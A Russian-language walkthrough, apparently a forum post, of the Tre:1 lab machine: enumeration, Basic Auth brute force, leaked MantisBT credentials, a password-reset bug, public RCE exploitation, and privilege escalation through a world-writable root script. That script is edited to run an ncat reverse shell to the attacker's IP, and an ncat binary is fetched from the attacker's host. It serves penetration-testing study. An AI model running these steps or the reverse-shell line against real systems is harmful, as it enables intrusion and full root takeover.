CTF Tre:1 от Offensive Security (Уровень: Средний)

Qulan

Red Team
06.12.2020
140
382
Приветствую!

Хотел бы поделиться прохождением коробки из листинга Offensive Security. Бокс разработан командой SunCSR Team, уж очень мне нравится что они создают)))

1. Recon

1.1. Первым делом сканируем доступный хост на предмет открытых портов:

sudo nmap -p- -T 5 -A 192.168.1.106 —open


Код:
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 99:1a:ea:d7:d7:b3:48:80:9f:88:82:2a:14:eb:5f:0e (RSA)
| 256 f4:f6:9c:db:cf:d4:df:6a:91:0a:81:05:de:fa:8d:f8 (ECDSA)
|_ 256 ed:b9:a9:d7:2d:00:f8:1b:d3:99:d6:02:e5:ad:17:9f (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-tite: Tre
|_http-server-header: Apache/2.4.38 (Debian)
8082/tcp open http nginx 1.14.2
|_http-title: Tre
|_http-server-header: nginx/1.14.2
MAC Address: E0:2B:E9:E8:28:99 (Intel Corporate)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Видим три открытых порта, два из которых относятся к веб серверу и один SSH.

1.2. Information gathering

Один из самых важных этапов при проведении тестирования на проникновение — Сбор информации. Чем больше информации, тем больше векторов для атаки. Для удобства все найденые по ходу данные, помещаю в таблицу:

Web App information table:

Port80
Web serverApache httpd 2.4.38
Hidden dirs
Hidden files
Application type

Hidden Dirs:

Один из важнейших этапов при сборе информации. Применяемые словари:
  1. /SecLists/Discovery/Web-Content/common.txt
  2. /SecLists/Discovery/Web-Content/big.txt
  3. /SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
  4. /SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
  5. /SecLists/Discovery/Web-Content/raft-large-directories.txt
  6. /robots.txt
Этап достаточно долгий и стоит запасаться терпением. Крайне важно собрать как можно больше инфы.

/SecLists/Discovery/Web-Content/common.txt:

cms [Status: 301, Size: 312, Words: 20, Lines: 10]
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 7907, Words: 4362, Lines: 1038]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]

/SecLists/Discovery/Web-Content/big.txt:

.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]

/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:

system [Status: 401, Size: 460, Words: 42, Lines: 15]
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]

/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt:

cms [Status: 301, Size: 312, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]

/SecLists/Discovery/Web-Content/raft-large-directories.txt:

cms [Status: 301, Size: 312, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]

/robots.txt
Файл не существует!

Теперь когда мы прошлись по словарям, собирем все найденное в файле hidden_dirs.txt и применим команду awk. Нас интересует убрать дубли из файла.

awk '!seen[$0]++' hidden_dirs.txt > dirs_sorted.txt
Код:
┌─[[email protected]]─[~/Practice/ofsec/Tre]

└──╼ $cat dirs_sorted.txt

cms [Status: 301, Size: 312, Words: 20, Lines: 10]
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]


Супер, теперь у нас есть список директорий. Пришло время искать файлы.

Hidden files:

Применяемые словари:

Так как мы знаем что у нас PHP, то добавим к общему списку словарей еще и Common-DB-Backups.txt и Common-PHP-Filenames.txt

Таким образом список словарей будет таким:

/SecLists/Discovery/Web-Content/common.txt
/SecLists/Discovery/Web-Content/big.txt
/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt
/SecLists/Discovery/Web-Content/Common-DB-Backups.txt


Способы применения:

- Словари с каталогами. Тут мы при фазинге будем подставлять строки из файла в качестве имени файла, тип файла определим самостоятельно.
- Словари с файлами PHP и DB. Ищем искомое.

/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt

info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]

/SecLists/Discovery/Web-Content/Common-DB-Backups.txt

Пусто!

SecLists/Discovery/Web-Content/common.txt

index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]

/SecLists/Discovery/Web-Content/big.txt

ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/big.txt -c -t 70


Код:
adminer [Status: 200, Size: 4656, Words: 204, Lines: 51]
info [Status: 200, Size: 87908, Words: 4362, Lines: 1038]

ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -c -t 70

info.php [Status: 200, Size: 87908, Words: 4362, Lines: 1038]

ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -c -t 70 --fc 403
Код:
info [Status: 200, Size: 87908, Words: 4362, Lines: 1038]
adminer [Status: 200, Size: 4655, Words: 204, Lines: 51]

Когда все собрано, проделываем тот же прием как и с файлом директорий.

awk '!seen[$0]++' hidden_files.txt > files_sorted.txt

И получаем файлы…

Те же действия требуется провести для поиска интересующих типов файлов, таких как bak, old, backup,txt. Сразу отмечу, что на этой машине данных файлов не обнаружено, а это значит что мы можем переходить к самому веб приложению.

1.3. Web Application

стартовая_80_порт.png


Смотрим исходный код страницы на предмет комментариев и иной важной информации (версии, js скрипты, css разметка).

исходник_стартовой_80_порт.png



Единственное что может быть интересным, это file.jpg. Проверим его на наличие секретов в мета-данных.

Качаем к себе файл:

curl -O [URL='http://192.168.1.106/file.jpg']http://192.168.1.106/file.jpg[/URL]

Вскрываем мета-данные:

exiftool file.jpg

Код:
exiftool file.jpg
ExifTool Version Number : 12.16
File Name : file.jpg
Directory : .
File Size : 223 KiB
File Modification Date/Time : 2021:10:28 14:09:20+03:00
File Access Date/Time : 2021:10:28 14:09:20+03:00
File Inode Change Date/Time : 2021:10:28 14:09:20+03:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 1400
Image Height : 980
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1400x980
Megapixels : 1.4

Как оказалось, в нем нет секретов))) Двигаемся по найденным скрытым файлам.

Код:
┌─[[email protected]]─[~/Practice/ofsec/Tre]

└──╼ $cat dirs_sorted.txt

cms [Status: 301, Size: 312, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]


Код:
┌─[[email protected]]─[~/Practice/ofsec/Tre]

└──╼ $cat files_sorted.txt

info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 87908, Words: 4362, Lines: 1038]
adminer.php [Status: 200, Size: 4655, Words: 204, Lines: 51]

Перейдя в директорию cms нас редиректит на сайт solmusic

sol_music_site.png


Так как у нас имеется содержимое, то стоит сново произвести фазинг этих каталогов на содержимое в них файлов и каталогов. Как говорил ранее, фазить придется много и очень долго!!!!

ffuf -u http://192.168.1.106/cms/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -c -t 100

Код:
cache [Status: 301, Size: 318, Words: 20, Lines: 10]
core [Status: 301, Size: 317, Words: 20, Lines: 10]
custom [Status: 301, Size: 319, Words: 20, Lines: 10]
extensions [Status: 301, Size: 323, Words: 20, Lines: 10]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1]
site [Status: 301, Size: 317, Words: 20, Lines: 10]
templates [Status: 301, Size: 322, Words: 20, Lines: 10]
vendor [Status: 301, Size: 319, Words: 20, Lines: 10]

Я не буду сново повторяться в сканировании, скажу лишь что весь процесс требуется повторить, как мы делали это ранее.

ffuf -u http://192.168.1.106/cms/site/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -c -t 100

Код:
css [Status: 301, Size: 321, Words: 20, Lines: 10]
img [Status: 301, Size: 321, Words: 20, Lines: 10]
index.html [Status: 200, Size: 12540, Words: 762, Lines: 356]
js [Status: 301, Size: 320, Words: 20, Lines: 10]

И так далее… Задача собрать все что можем собрать с каждой директории. Проческать каждый файл, каждый бэкап.

Смотрим искодник по адресу http://192.168.1.106/cms/site/

И в нем нет ничего, что могло бы меня заинтересовать! Так же проходимся по всем css и js файлам указанным в исходном коде.

Смотрим функционал сайта. На сайте есть кнопка Login, Create an account но они не рабочие. Так же на сайте можно прослушивать музыку. Манипуляции типа скачать или купить не работают((( Порыскав еще пол часика, я решил оставить этот ресурс и двигаться дальше.

При фазинге адресса http://192.168.1.106/cms/core/ были выявлены следующие каталоги и файлы:

Код:
admin [Status: 301, Size: 323, Words: 20, Lines: 10]
feeds [Status: 301, Size: 323, Words: 20, Lines: 10]
inc [Status: 301, Size: 321, Words: 20, Lines: 10]
index.html [Status: 200, Size: 0, Words: 1, Lines: 1]
index.php [Status: 200, Size: 0, Words: 1, Lines: 1]

index файлы хоть и имею статус 200, но имеют нулевой сайз, то есть пустые. Двинув по каталогам, по адресу http://192.168.1.106/cms/core/feeds/rss2.php было выявленно BigTree CMS.

rss2.php.png


Пока мануально перебираю каталоги, пробую натравить CMSmap на адрес http://192.168.1.106/cms/site/, но результата не получил(((

Почитав документацию и еще пару часиков фазинга меня начали выбивать… Я понял что я устал тут капать. Было ощущение, что я двигаюсь не в том направлении, так как согласно докам по BigTree, у меня должны быть рабочими Админка и страртовая в виду site/[/I]index.php, но он отсутствовал. Принято, оставляем это дело и топаем дальше)))


При попытке обратится к каталогу, меня встречает Basic Auth Form
Basic_auth_form.png


Единственное что я мог бы попробовать, так это брутить с помощью Common-Username в качестве логина и пароля. Другими словами, нам нужна Cluster Bomb

Для брута я буду использовать ffuf, но так как он не заточен под Basic Auth, то буду использовать решение в виде ffuf_basicauth.sh

Задача данного скрипта собрать валидный формат login:password и перевести в base64
Код:
┌─[[email protected]]─[~/Practice/ofsec/Tre]

└──╼ $/opt/hack-tools/Web-tools/ffuf-scripts/ffuf_basicauth.sh /opt/wordlists/SecLists/Usernames/top-usernames-shortlist.txt /opt/wordlists/SecLists/Usernames/top-usernames-shortlist.txt |ffuf -w -:AUTH -u http://192.168.1.107/system/ -H "Authorization: Basic AUTH" -c --fc 401

Код:
Generating HTTP basic authentication strings. This can take a while depending on the length of user and password lists.

Usernames: 17
Passwords: 17
Total combinations: 289

v1.3.1 Kali Exclusive <3

________________________________________________

:: Method : GET
:: URL : http://192.168.1.107/system/
:: Wordlist : AUTH: -
:: Header : Authorization: Basic AUTH
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response status: 401

______________________________________________

YWRtaW46YWRtaW4= [Status: 302, Size: 0, Words: 1, Lines: 1]


Теперь декодируем найденую пару и получаем admin : admin

Авторизуемся… И перед нами форма авторизации Mantis Bug Tracker

mantisBT.png



Супер, фиксируем это себе и двигаемся дальше. Так же выйти на форму авторизации баг трекера мы можем обратившись по адрессу

http://192.168.1.107/mantisbt/

Этот каталог найден нами ранее при фазинге. Так как у меня имеется реальное приложение, самое время поглядеть есть ли какие-то эксплоиты.


exploit_search_mantis.png


Как видим список достаточно большой. На данном этапе нам желательно получить версию приложения с которым мы столкнулись. Для решения этой задачи мы снова будем фазить.. Много фазить!

Пока FUFF напрягается, пробую поглядеть исходники на предмет версии. Покапавшись минут 20 я так ничего не нашел, а значит надежда на ffuf.

По окончанию работы ffuf, у меня появилось огромное поле для работы.

Код:
images [Status: 301, Size: 324, Words: 20, Lines: 10]
library [Status: 301, Size: 325, Words: 20, Lines: 10]
doc [Status: 301, Size: 321, Words: 20, Lines: 10]
admin [Status: 301, Size: 323, Words: 20, Lines: 10]
scripts [Status: 301, Size: 325, Words: 20, Lines: 10]
plugins [Status: 301, Size: 325, Words: 20, Lines: 10]
css [Status: 301, Size: 321, Words: 20, Lines: 10]
core [Status: 301, Size: 322, Words: 20, Lines: 10]
js [Status: 301, Size: 320, Words: 20, Lines: 10]
api [Status: 301, Size: 321, Words: 20, Lines: 10]
lang [Status: 301, Size: 322, Words: 20, Lines: 10]
vendor [Status: 301, Size: 324, Words: 20, Lines: 10]
config [Status: 301, Size: 324, Words: 20, Lines: 10]
fonts [Status: 301, Size: 323, Words: 20, Lines: 10]


Перекапывая каждую директорию, я наткнулся на 2 файла по адрессу http://192.168.1.107/mantisbt/config/

config_dir_files.png


В файле data.sql я нахожу строчки:
Код:
INSERT INTO mantis_user_table(
username, realname, email, password,
date_created, last_visit, enabled, protected, access_level,
login_count, lost_password_request_count, failed_login_count,
cookie_string
)

VALUES (
'administrator', '', '[email protected]', '63a9f0ea7bb98050796b649e85481845',
'2020-05-12 01:11:19', '2020-05-12 01:11:19', '1', '0', 90,
3, 0, 0, '7ede40367f4c0d22fa257f67440a6db070ba2523653ecdd4ed4606cac99d82a8'
);


Тут мы видим добавление пользователя administrator в базу. Интерес вызвала строка cookie_string. Я так понимаю, что куки хранятся в базе.

В файле a.txt находим следующую информацию:


Код:
# --- Database Configuration ---
$g_hostname      = 'localhost';
$g_db_username   = 'mantissuser';
$g_db_password   = '[email protected]';
$g_database_name = 'mantis';
$g_db_type       = 'mysqli';

# --- Security ---
$g_crypto_master_salt = '[email protected]$242347832842309843294829304djfkdjsfkd';     #  Random string of at least 16 chars, unique to the installation

# --- Anonymous Access / Signup ---
$g_allow_signup                         = ON;
$g_allow_anonymous_login        = OFF;
$g_anonymous_account            = '';

Обращаем внимание, что перед нами копия конфига доступа к базе, а значит, наверное, мы сможем туда попасть.

И так, у нас остались пару файлов в корне, которые мы еще не смотрели:


Код:
info.php [Status: 200, Size: 87908, Words: 4362, Lines: 1038]
adminer.php [Status: 200, Size: 4655, Words: 204, Lines: 51]

При обращении по адресу http://192.168.1.107/info.php перед нами стандартная страница phpinfo
phpinfo.png



А тут нас ждет менеджер БД))))

adminer.png



Итоги:

1. У нас имеется форма авторизации к менеджеру БД

2. Форма авторизации к Mantis BT

3. Имеются креды


Mantis BT

При переходе на http://192.168.1.107/mantisbt/ нас редиректит к файлу login_page.php, это дает потенциальную возможность перечислить доступные php страницы:

Код:
search.php [Status: 302, Size: 0, Words: 1, Lines: 1]
core.php [Status: 200, Size: 0, Words: 1, Lines: 1]
login.php [Status: 302, Size: 0, Words: 1, Lines: 1]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1]
plugin.php [Status: 200, Size: 4931, Words: 283, Lines: 53]
view.php [Status: 200, Size: 4929, Words: 283, Lines: 53]
wiki.php [Status: 200, Size: 4929, Words: 283, Lines: 53]
signup.php [Status: 200, Size: 4991, Words: 291, Lines: 53]
verify.php [Status: 200, Size: 5023, Words: 287, Lines: 54]
file_download.php [Status: 302, Size: 0, Words: 1, Lines: 1]
main_page.php [Status: 302, Size: 0, Words: 1, Lines: 1]
bug_report.php [Status: 200, Size: 4991, Words: 291, Lines: 53]
account_delete.php [Status: 200, Size: 4991, Words: 291, Lines: 53]
login_page.php [Status: 200, Size: 6481, Words: 332, Lines: 117]
news_rss.php [Status: 302, Size: 0, Words: 1, Lines: 1]
csv_export.php [Status: 302, Size: 0, Words: 1, Lines: 1]
news_add.php [Status: 302, Size: 0, Words: 1, Lines: 1]
news_update.php [Status: 302, Size: 0, Words: 1, Lines: 1]

Проходя по этим страницам, я обратил внимание на формат ошибки

erro_view_php_id.png



Нам указываю на то, что не найден параметр id. Пробуем его подставить, но без результата(((


erro_view_php_id_2.png



Но перейдя на http://192.168.1.107/mantisbt/verify.php начались изменения)))

Нам возвращается все та же ошибка об отсутствии параметра id, но когда мы его доставляем, то вызывается другая ошибка

confirm_hash_verify_php.png



Нам указывают что не хватает параметра confirm_hash. Мы подставляем и его

edit_account_reset_password.png


И нас редиректит на форму сброса пароля))) Пробуем поменять пароль… Нас редиректит на авторизацию, пробуем зайти administrator : наш пароль

И мы внутри))) Теперь мне нужно найти версию приложения

mantis_bt_version.png


Супер. Можем вернуться к поиску эксплоита

exploit_search_mantis.png


Меня заинтересовала вот эта строчка

Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)

Почитав описание, становится понятно, что эксплоит эксплуатирует 2 узвимости

CVE : CVE-2017-7615, CVE-2019-15715

CVE-2017-7615 — это как раз сброс пароля, который мы сделали самостоятельно.

CVE-2019-15715 - Escape GraphViz command before calling proc_open()


Я очень хотел в райтапе разобрать этот эксплоит мануально, чтоб и я и вы достигли понимания как эксплуатируется уязвимость, но посидев пару дней, у меня что-то не скаладывалось на CMD injection и я решил просто использовать эксплоит.

А что с менеджером БД (Adminer)?

Я решил не разбирать этот процесс, так как райтап становится слишком большим. Скажу лишь то, что найденные настройки в копии конфига подходят и соответственно появляется возможность создать своего пользователя и назначить его админом. Это дает возможность просто авторизоваться, минуя сброс пароля.

2. ЭКСПЛУАТАЦИЯ

Тянем эксплоит к себе и настраиваем его. Ставим листенера и запускаем наш эксплоит


reverse_shell.png



Да-да, вы наверное уже и забыли, что у нас имеется еще один порт)) Так как я учусь, я решил пока оставить пост-эксплуатацию и поискать еще уязвимости. Ведь цель то не просто пройти, а развивать навыки!

ffuf -u http://192.168.1.107:8082/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -c -t 100

index.html [Status: 200, Size: 164, Words: 8, Lines: 9]

ffuf -u http://192.168.1.107:8082/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -c -t 100

ПУСТО!!!!((((

ffuf -u http://192.168.1.107:8082/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -c -t 100

Тоже пусто(

Попробуем поискать еще HTML страницы

ffuf -u http://192.168.1.107:8082/FUZZ.html -w /opt/wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -c -t 100

index [Status: 200, Size: 164, Words: 8, Lines: 9]

И снова ничего…

Попытки поискать другие форматы файлов не принесли результата. По видимому с этим портом можно заканчивать и двигаться к Пост-эксплуатации.


3. Post-Explotation

Попав внутрь сис-мы, первым делом привожу в порядок оболочку. Но при попытке ее стабилизировать вижу такую картину

shell_not_stable.png


Понимаю, что требуется вернуть еще одну. Сделаю я это с помощью nc

Код:
[email protected]:/var/www/html/mantisbt$ nc

bash: nc: command not found
[email protected]:/var/www/html/mantisbt$

И вижу что nc отсутствует в системе. Можно вернуть оболочку разными методами, но я сделаю это тем же способом, но только загружу на жертву бинарный ncat

1. Открываем каталог где у нас лежит бинарник
2. Стартуем локальный сервер
3. На жертве топаем в /tmp
4. wget http://192.168.1.108:8000/ncat
5. chmod +x ncat

Ставим листенера у себя и на жертве запускаем ncat

ncat_shell_stable.png

И стабилизируем нашу оболочку. Когда все сделано принимаемся за дело!

И так, сейчас самое время понять что начинается другой уровень этой игры, а значит мы забываем все что было ДО, нас интересует только текущая ситуация. Как всегда, мы начинаем со сбора информации:

OS: Debian GNU/Linux 10 (cat /etc/issue)
Architecture: x86_64 GNU/Linux (uname -a)
Kernel version: 4.19.0-9-amd6 (uname -a)
GCC compiler: gcc version 8.3.0 (cat /proc/version)

Эта информация важна тем, что дает нам вектор для использования уязвимости ядра, если такая есть и если нам это понадобится. Вообще считается, что реализовывать данный вектор требуется только в случае, если по другому уже ни как)))

Process

Меня интересуют процессы которые запущенны от рута или от другого пользователя, который имеет больше прав в системе чем я.

Для этого я использую pspy

Забрасываю его на жертву в /tmp и запускаю

Переглядывая процессы в реальном времени, меня заинтересовал вызов команды sleep от root

pspy_run.png



Выйдя обратно в шелл, я решил пересмотреть задачи cron, но не нашел ничего(((

Cron jobs

Код:
[email protected]:/var/www/html$ crontab -l

no crontab for www-data


Код:
[email protected]:/var/www/html$ cat /etc/cron*

cat: /etc/cron.d: Is a directory
cat: /etc/cron.daily: Is a directory
cat: /etc/cron.hourly: Is a directory
cat: /etc/cron.monthly: Is a directory
cat: /etc/cron.weekly: Is a directory
# /etc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:

# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |

# * * * * * user-name command to be executed

17 ** * *root cd / && run-parts --report /etc/cron.hourly
25 6* * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6* * 7roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 61 * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )


Код:
[email protected]:/var/www/html$ ls -l /etc/cron*

-rw-r--r-- 1 root root 1042 Oct 11 2019 /etc/crontab

/etc/cron.d:

total 8

-rw-r--r-- 1 root root 712 Dec 17 2018 php
-rw-r--r-- 1 root root 191 May 11 2020 popularity-contest

/etc/cron.daily:

total 32

-rwxr-xr-x 1 root root 539 Apr 2 2019 apache2
-rwxr-xr-x 1 root root 1478 May 28 2019 apt-compat
-rwxr-xr-x 1 root root 355 Dec 29 2017 bsdmainutils
-rwxr-xr-x 1 root root 1187 Apr 18 2019 dpkg
-rwxr-xr-x 1 root root 377 Aug 28 2018 logrotate
-rwxr-xr-x 1 root root 249 Sep 27 2017 passwd
-rwxr-xr-x 1 root root 4571 May 20 2018 popularity-contest

/etc/cron.hourly:

total 0

/etc/cron.monthly:

total 0

/etc/cron.weekly:

total 0


Код:
[email protected]:/var/www/html$ cat /etc/cron.d/php

# /etc/cron.d/[email protected][email protected]: crontab fragment for PHP
# This purges session files in session.save_path older than X,
# where X is defined in seconds as the largest value of
# session.gc_maxlifetime from all your SAPI php.ini files
# or 24 minutes if not defined. The script triggers only
# when session.save_handler=files.

#

# WARNING: The scripts tries hard to honour all relevant
# session PHP options, but if you do something unusual
# you have to disable this script and take care of your
# sessions yourself.

# Look for and purge old sessions every 30 minutes

09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi

Код:
[email protected]:/var/www/html$ cat /etc/cron.d/popularity-contest

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

46 23 * * * root test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contest --crond

[email protected]:/var/www/html$

Собственно ничего, что могло бы меня заинтересовать. Двигаемся дальше!


Config Files

Тут мы смотрим разные конфигурациионные файлы на предмет содержания в них кредов.

Ищем config.php, файл для соединения веб-сервера и БД

[email protected]:/tmp$ find /var/ -type f -name config.php 2>/dev/null

/var/www/html/system/plugins/MantisCoreFormatting/pages/config.php
/var/www/html/system/plugins/XmlImportExport/pages/config.php
/var/www/html/mantisbt/plugins/MantisCoreFormatting/pages/config.php
/var/www/html/mantisbt/plugins/XmlImportExport/pages/config.php

И в них пусто!

Пробуем почитать mysql лог файл

Код:
[email protected]:/var/log$ cat mysql/

cat: mysql/: Permission denied



Read/Write etc/passwd,shadow,sudoers

Код:
[email protected]:/$ ls -l /etc/passwd

-rw-r--r-- 1 root root 1445 May 12 2020 /etc/passwd

[email protected]:/$ ls -l /etc/shadow

-rw-r----- 1 root shadow 965 May 12 2020 /etc/shadow

[email protected]:/$ ls -l /etc/sudoers

-r--r----- 1 root root 708 May 12 2020 /etc/sudoers

Без результата!

Find suid and guid files

[email protected]:/$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Код:
-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo
-rwxr-sr-x 1 root crontab 43568 Oct 11 2019 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 71816 Jul 27 2018 /usr/bin/chage
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
-rwxr-sr-x 1 root shadow 31000 Jul 27 2018 /usr/bin/expiry
-rwxr-sr-x 1 root tty 14736 May 4 2018 /usr/bin/bsd-write
-rwxr-sr-x 1 root ssh 321672 Jan 31 2020 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
-rwxr-sr-x 1 root tty 34896 Jan 10 2019 /usr/bin/wall
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
-rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwxr-sr-x 1 root shadow 39616 Feb 14 2019 /usr/sbin/unix_chkpwd

И снова ничего нету

Find any creds in files

Код:
[email protected]:/var/www/html$ grep -r '/' -e 'password' > password.txt

[email protected]:/var/www/html$ grep -r '/' -e 'passwd' > passwd.txt

[email protected]:/var/www/html$ grep -r '/' -e 'user' > user.txt

[email protected]:/var/www/html$ grep -r '/' -e 'cred*' > creds.txt


Тут мы отправляем вывод grep в файлы для того, чтоб отфильтровать все что доступно для чтения, от того, что не доступно. В файле сохраняются результаты, которые мы можем просматреть, а на экране высветятся все со статусом Permission denied

Проглядев эти файлы, я снова ничего не нарыл…

Вообщем перебрав все варианты, котрые я имел я решил воспользоваться уязвимостью ядра, но тут меня тоже ждала неудача, так как для версии ядра 4.19.0-9 я не нашел эксплоит(((

Дальше я решил воспользоваться linpeas’ом для сбора информации. Я не люблю автоматизацию, предпочитаю все делать руками. Но тут сам Бог велел. Отмечу что тут я тоже потерпел неудачу(((

Потыкав еще часок, я решил вернуться к процессам. Уж очень меня интересовал вызов команды sleep.

Запустив pspy еще раз проверяю все строчки…

Блин… Я трижды смотрел в список и не обратил внимания на эту строчку

pspy_find_root_process.png


2021/11/04 03:49:09 CMD: UID=0 PID=423 | /bin/bash /usr/bin/check-system

Запускается какой-то check-system

Код:
[email protected]:/var/www/html$ ls -l /usr/bin/check-system

-rw----rw- 1 root root 116 Nov 4 02:55 /usr/bin/check-system

Опля… Удача. Перед нами файл принадлежащий root, им же запускаемый и еще и имеющий права для чтения и записи для ВСЕХ!

Смотрим что внутри

Код:
[email protected]:/var/www/html$ cat /usr/bin/check-system

DATE=`date '+%Y-%m-%d %H:%M:%S'`

echo "Service started at ${DATE}" | systemd-cat -p info

while :
do
sleep 1;
done


А вот и наш sleep! Перед нами bash скрипт который запускает бесконечный цикл с командой sleep 1. Мы имеем возможность добавить в этот скрипт все что хотим испольнить от root, я буду возвращать оболочку.

Для этого мне потребуется скопировать мой ncat из tmp в var/www/html/[/I] так как все что находится во временной папке удалится при перезапуске! При чем тут перезапуск спросите вы? И это хороший попрос. Фишка в том, что check-system запускается единожды. И даже если мы внесем в него изменения, они не будут выполнены. Поэтому потребуется перезапустить коробку!

Преношу ncat и редактирую скрипт.

Код:
[email protected]:/var/www/html$ cat /usr/bin/check-system


DATE=`date '+%Y-%m-%d %H:%M:%S'`

echo "Service started at ${DATE}" | systemd-cat -p info

while :
do
./var/www/html/ncat 192.168.1.108 1234 -e /bin/bash
sleep 1;
done


Сохраняю, ставлю у меня листенера и перезапускаюсь!

